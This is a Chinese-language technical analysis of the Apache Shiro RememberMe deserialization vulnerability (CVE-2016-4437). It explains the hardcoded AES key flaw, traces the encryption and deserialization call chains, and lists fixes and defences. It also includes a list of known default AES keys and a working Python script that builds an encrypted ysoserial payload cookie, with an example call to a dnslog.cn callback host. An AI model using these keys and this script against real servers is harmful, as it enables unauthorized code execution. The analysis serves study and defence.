CVE-2016-4437(Apache Shiro)
字数 1411 2025-08-11 08:36:35
Apache Shiro 反序列化漏洞(CVE-2016-4437)深度分析
漏洞概述
Apache Shiro是一个功能强大且易于使用的Java安全框架,用于进行身份验证、授权、加密和会话管理等安全操作。2016年曝光的CVE-2016-4437漏洞影响Shiro 1.2.4及以下版本,该漏洞源于Shiro的"记住我"(RememberMe)功能中存在不安全的反序列化实现。
影响版本
- Apache Shiro <= 1.2.4
漏洞原理
RememberMe功能机制
Shiro框架提供了"记住我"功能,用户登录成功后生成加密且编码过的Cookie,其生成过程为:
- 反序列化用户身份信息
- AES加密
- BASE64编码
- 设置为Cookie值
漏洞根源
- 硬编码AES密钥:Shiro使用固定的AES加密密钥,攻击者一旦获取密钥就能伪造RememberMe Cookie
- 不安全反序列化:在默认配置下,Shiro使用Java标准ObjectInputStream进行反序列化,可反序列化任何实现Serializable接口的对象
攻击流程
攻击者可构造恶意序列化对象:
- 序列化恶意对象
- 使用已知AES密钥加密
- BASE64编码后作为RememberMe Cookie发送
- 服务器反序列化时执行恶意代码
常用密钥列表
以下是常见的Shiro硬编码密钥(部分):
kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
[...完整列表见原文...]
漏洞复现
环境搭建
使用Vulhub Docker环境:
docker-compose up -d
漏洞利用
- 使用工具自动化利用
- 或手动构造恶意RememberMe Cookie
技术细节分析
加密-序列化流程
- 入口点:
onSuccessfulLogin()方法 - 写入Cookie:
forgetIdentity()方法在Response中写入Cookie - 获取用户身份:
rememberIdentity()通过PrincipalCollection获取用户身份 - 序列化加密:
convertPrincipalsToBytes()将用户身份序列化- 使用AES CBC模式加密(密钥来自
AbstractRememberMeManager类)
- BASE64编码:
rememberSerializedIdentity()对加密数据进行BASE64编码并设置Cookie
完整流程:
onSuccessfulLogin() -> forgetIdentity() -> rememberIdentity() ->
PrincipalCollection() -> convertPrincipalsToBytes() ->
rememberSerializedIdentity()
解密-反序列化流程
- 入口点:
getRememberedIdentity() - 获取Cookie值:
getRememberedPrincipals()->getRememberedSerializedIdentity() - BASE64解码:提取Cookie值并进行BASE64解码
- AES解密:
convertBytesToPrincipals()->decrypt() - 反序列化:最终对解密后的数据进行反序列化
完整流程:
getRememberedIdentity() -> getRememberedPrincipals() ->
getRememberedSerializedIdentity() -> convertBytesToPrincipals() ->
decrypt() -> deserialized()
漏洞利用脚本示例
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
漏洞修复
官方修复方式:
- 移除了硬编码的密钥,改为每次生成随机密钥
- 从根本上解决了密钥固定的问题
防御措施
- 升级到最新版本Apache Shiro
- 如无法升级,确保不使用公开的默认密钥
- 实施网络层防护,监控异常反序列化行为
总结
CVE-2016-4437漏洞展示了硬编码密钥和不安全反序列化结合带来的严重风险。通过分析加密/解密流程,我们可以深入理解该漏洞的利用原理。防御的关键在于使用随机密钥和及时更新组件版本。